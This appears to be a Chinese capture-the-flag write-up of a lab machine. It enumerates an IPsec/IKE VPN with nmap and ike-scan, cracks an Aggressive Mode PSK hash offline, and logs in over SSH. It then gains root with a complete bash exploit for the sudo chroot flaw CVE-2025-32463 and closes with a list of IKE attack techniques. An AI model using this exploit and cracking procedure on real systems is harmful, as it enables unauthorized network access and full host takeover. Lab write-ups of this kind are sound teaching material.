PSec/IKE 服务:
PSec/IKE 是保障网络通信安全的 “组合服务”,核心作用是在不安全的网络(比如互联网)中,为设备间的通信建立一条加密、防篡改的 “安全隧道”,常见于 VPN、企业内网互联等场景。
核心组成:IKE + IPsec
IKE(Internet Key Exchange,互联网密钥交换)
两台设备通信前,IKE 先通过协商生成 加密密钥(比如用于后续数据加密的对称密钥),同时确定双方都认可的安全规则
IPsec(Internet Protocol Security,互联网协议安全)
用 IKE 协商好的密钥和规则,对实际传输的 IP 数据包进行处理,主要包括两种操作:
加密:把原始数据变成乱码,即使被截获也无法解读。
认证与完整性校验:确保数据在传输中没被篡改,且发送方是可信的(不是伪造的)。
常见应用场景
VPN 服务:比如企业员工远程办公时,通过 VPN 连接公司内网,背后就是 IKE/IPsec 建立的安全隧道。
企业分支互联:比如北京和上海的分公司,通过公网连接内网,用 IKE/IPsec 保障两地数据传输的安全。
目标对外暴露 UDP 500/4500
拿到 VPN 接入权 ≈ 直接放进内网
一、端口与进程快速确认
标准端口
UDP 500 ‑ IKEv1/v2 初始协商(Main Mode / IKE_SA_INIT)
UDP 4500 ‑ NAT-T 封装(RFC 3947/3948)
协议号 50/51 ‑ ESP/AH,无端口但需放通 IP 层
信息收集
sudo nmap -A -O 10.10.11.87
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-27 21:56 +0800
Nmap scan report for 10.10.11.87
Host is up (0.18s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 180.04 ms 10.10.16.1
2 214.89 ms 10.10.11.87
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
发现只有一个22端口,就尝试 udp扫描
sudo nmap 10.10.11.87 -sU --top-ports 100
Password:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-27 22:04 +0800
Nmap scan report for 10.10.11.87
Host is up (0.16s latency).
Not shown: 95 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
2222/udp open|filtered msantipiracy
4500/udp open|filtered nat-t-ike
Nmap done: 1 IP address (1 host up) scanned in 100.44 seconds
这里是采用udp扫描,发现只有500是明确开启了,说明主机正在运行 IPSec/IKE 服务(VPN 网关或站点到站点隧道)。
sudo ike-scan -M 10.10.11.87
Password:
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned
HDR=(CKY-R=7e83f5adb640bf71)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.188 seconds (5.33 hosts/sec). 1 returned handshake; 0 returned notify
通过查看网关返回的安全套件,能发现它的认证方式是 PSK(预共享密钥)。这意味着这个 VPN 设备和连接它的用户,事先约定了一个 “共同密码”(即 PSK)。理论上,只要拿到这个 “共同密码”,就能直接接入内网。
进一步看,这个 VPN 端点还支持 IKE PSK + XAUTH 组合验证。简单说,它的远程登录需要 “两步验证”:第一步是验证双方都知道的 “共同密码”(PSK),第二步是验证具体用户的 “个人账号密码”(XAUTH)。
不过,这个流程有个可尝试的突破口:只要能获取到两个关键信息中的一个 —— 要么是直接拿到那个 “共同密码”(PSK),要么是捕获到 VPN 协商时产生的 Aggressive Mode(主动模式)哈希值(HASH_R)—— 就可以把这些数据拿到本地,通过字典暴力猜测的方式,离线破解出 PSK。
sudo ike-scan -M 10.10.11.87 --showbackoff
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned
HDR=(CKY-R=bb60cb54a64b7ad7)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.10.11.87 1 1761575723.429961 0.000000
10.10.11.87 Implementation guess: Linksys Etherfast
Ending ike-scan 1.9.5: 1 hosts scanned in 60.312 seconds (0.02 hosts/sec). 1 returned handshake; 0 returned notify
进行指纹识别,发现使用的是 Linksys Etherfast可以直接去查找rce漏洞进行直接利用
这里我没有找到能够使用的,所以尝试进行-P爆破
sudo ike-scan -M 10.10.11.87 --showbackoff -A -P
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=b00cdfc98b6e65f2)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, [email protected])
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.10.11.87 1 1761576228.724374 0.000000
10.10.11.87 2 1761576232.725507 4.001133
10.10.11.87 3 1761576239.927395 7.201888
10.10.11.87 4 1761576252.987192 13.059797
10.10.11.87 Implementation guess: UNKNOWN
Some IKE implementations found have unknown backoff fingerprints
If you know the implementation name, and the pattern is reproducible, you
are encouraged to submit the pattern and implementation details
through the github repository at https://github.com/royhills/ike-scan
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
51701ecdaadcf6cb22f0489922124a663fe5ba90c446b5e7f1a27920a3954adbe9a813b1173c05db130ad8ee28076473877a1e98fbea903fbe37ab05b296036844299495434efb5efd11cc876272c5d6279a1fd61bb67275940150d5a0ada0d2fcaae46eff89a1d20daab777bb4b0fa434178407cad1202de3547576806e5057:f416a470260277ea1d62c58a4afc023e371751adac273c0026ad3702f8787bbc9cefd244ea00d6cb73970ee8d7f4dd110a462a0c8caefcbbabc0905ec5f05c811165d5e02a4fff0666750e389fdca9f229478beed700103eff44873a8bf48920abcff84e56d9dee6ace10cf9b7d411c5f0291667c33b69ad7dc4c1d7592ba72d:b00cdfc98b6e65f2:893b5addf22289db:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:75e41946dfe7e7d2117b3d72057b195aef612bf4:721d26c3eccf0c07a1fd3ff8365c239e4defd9454fa81513257568949d3a15e9:4e27da989f7319a005c5877aaaa414eeb9351edf
Ending ike-scan 1.9.5: 1 hosts scanned in 84.486 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
这里就已经拿到 psk了,并且看 Value 中 的ike是用户名,所以直接去爆破
sudo psk-crack -d SecLists/Passwords/Leaked-Databases/rockyou.txt 1.txt
Starting psk-crack [ike-scan 1.9.5] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 4e27da989f7319a005c5877aaaa414eeb9351edf
Ending psk-crack: 8045039 iterations in 7.658 seconds (1050533.35 iterations/sec)
其中 1.txt
51701ecdaadcf6cb22f0489922124a663fe5ba90c446b5e7f1a27920a3954adbe9a813b1173c05db130ad8ee28076473877a1e98fbea903fbe37ab05b296036844299495434efb5efd11cc876272c5d6279a1fd61bb67275940150d5a0ada0d2fcaae46eff89a1d20daab777bb4b0fa434178407cad1202de3547576806e5057:f416a470260277ea1d62c58a4afc023e371751adac273c0026ad3702f8787bbc9cefd244ea00d6cb73970ee8d7f4dd110a462a0c8caefcbbabc0905ec5f05c811165d5e02a4fff0666750e389fdca9f229478beed700103eff44873a8bf48920abcff84e56d9dee6ace10cf9b7d411c5f0291667c33b69ad7dc4c1d7592ba72d:b00cdfc98b6e65f2:893b5addf22289db:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:75e41946dfe7e7d2117b3d72057b195aef612bf4:721d26c3eccf0c07a1fd3ff8365c239e4defd9454fa81513257568949d3a15e9:4e27da989f7319a005c5877aaaa414eeb9351edf
成功爆破,拿到key。然后就可以尝试使用vpnc接入内网,这里一开始给出了ssh,所以可以进行尝试ssh连接,
ssh [email protected]
[email protected]'s password:
Last login: Tue Oct 28 06:48:07 GMT 2025 from 10.10.16.30 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 28 10:28:41 2025 from 10.10.16.24
ike@expressway:~$
就能够成功拿到权限,接着提权一把梭就行。而在这里所使用的是
#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
# 1. NSS library
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0); /* change to UID 0 */
setregid(0,0); /* change to GID 0 */
chdir("/"); /* exit from chroot */
execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF
# 2. Mini chroot with toxic nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc # make getgrnam() not fail
# 3. compile libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "[*] Running exploit…"
sudo -R woot woot # (-R <dir> <cmd>)
# • the first “woot” is chroot
# • the second “woot” is and inexistent
command
# (only needs resolve the user)
rm -rf "$STAGE"
https://www.exploit-db.com/exploits/52352
ike@expressway:~$ vi shell.sh
ike@expressway:~$ chmod 777 shell.sh
ike@expressway:~$ ./shell.sh
[*] Running exploit…
root@expressway:/# ls
bin dev home initrd.img.old lib64 media opt root sbin sys usr vmlinuz
boot etc initrd.img lib lost+found mnt proc run srv tmp var vmlinuz.old
root@expressway:/#
到此结束
IPSec/IKE 服务综合利用
信息
1、确认 IKE 存活,500/4500 open 即进入后续流程
2、识别协议版本回包中 SA= 字段直接给出 Enc/Hash/Group/Auth 四元组
3、抓厂商 VID,可以通过 https://github.com/royhills/ike-scan/blob/master/ike-vendor-ids,直接搜索查询设备型号
4、探 Aggressive Mode 若返回 ID(Type=…) 即可直接拿 HASH_R 爆破 PSK
利用
1、PSK 离线爆破
2、用户枚举 + XAUTH 绕过(需合法 PSK,但可匿名)
3、IKEv2 EAP 伪造证书(需泄露 CA 证书)
4、隧道建立后横向
重复密钥攻击(IPSec 重放)
老设备重用 IV → 可重放解密流量
隧道内 DHCP 信息泄露
无认证 RCE(UDP/500 或 443 直达)查到设备之后直接找网上公开的exp进行利用